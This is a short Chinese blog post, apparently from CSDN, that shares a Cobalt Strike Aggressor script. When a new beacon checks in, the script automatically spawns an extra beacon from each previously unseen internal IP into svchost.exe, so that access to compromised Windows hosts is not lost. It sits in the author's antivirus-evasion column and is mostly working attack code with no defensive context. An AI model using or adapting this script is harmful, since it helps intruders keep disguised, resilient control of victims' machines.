（记录项）CS上线自动SPAWN两次

daxi0ng

已于 2023-06-05 14:37:14 修改

阅读量511

点赞数 1

分类专栏： Cobalt Strike 免杀安全文章文章标签： java sleep cs spawn

于 2022-09-15 16:43:55 首次发布

本文链接：https://blog.csdn.net/qq_40989258/article/details/126874703

版权

安全文章同时被 3 个专栏收录

12 篇文章 4 订阅

订阅专栏

免杀

4 篇文章 0 订阅

订阅专栏

Cobalt Strike

2 篇文章 0 订阅

订阅专栏

1、由于上线之后容易挂，所以改了一个插件实现每个不同IP自动spawn一次，原作者的插件有点问题，只能支持一个IP

ps:cna的sleep编程语言属实是硬写的，不过起码功能实现了

@a = @();
@c = @();
on beacon_initial {
 
	sub http_get {
        local('$output');
        $url = [new java.net.URL: $1];
        $stream = [$url openStream];
        $handle = [SleepUtils getIOHandle: $stream, $null];
 
        @content = readAll($handle);
 
        foreach $line (@content) {
            $output .= $line . "\r\n";
        }
 
        println($output);
	 }
	println("a_list:".@a);
	@b = @();
	$internalIP = replace(beacon_info($1, "internal"), " ", "_");
	add(@b,$internalIP)
	println("b_list:".@b);
	foreach $c (@b){
		if ($c in @c){
			println("Exist!")
		}else{
			println("Spawning");
			bspawnto($1, "x64", "%windir%\\sysnative\\svchost.exe");
			bspawn($1, "80", "x64");
		}
 
	}
 
	foreach $beacon (beacons()) {
	   add(@a,$beacon['internal']);
	   
	   }
	addAll(@c,@a);
	println("Final_a_list:".@a);
	println("Final_list:".@c);
	clear(@a);

 
 
	}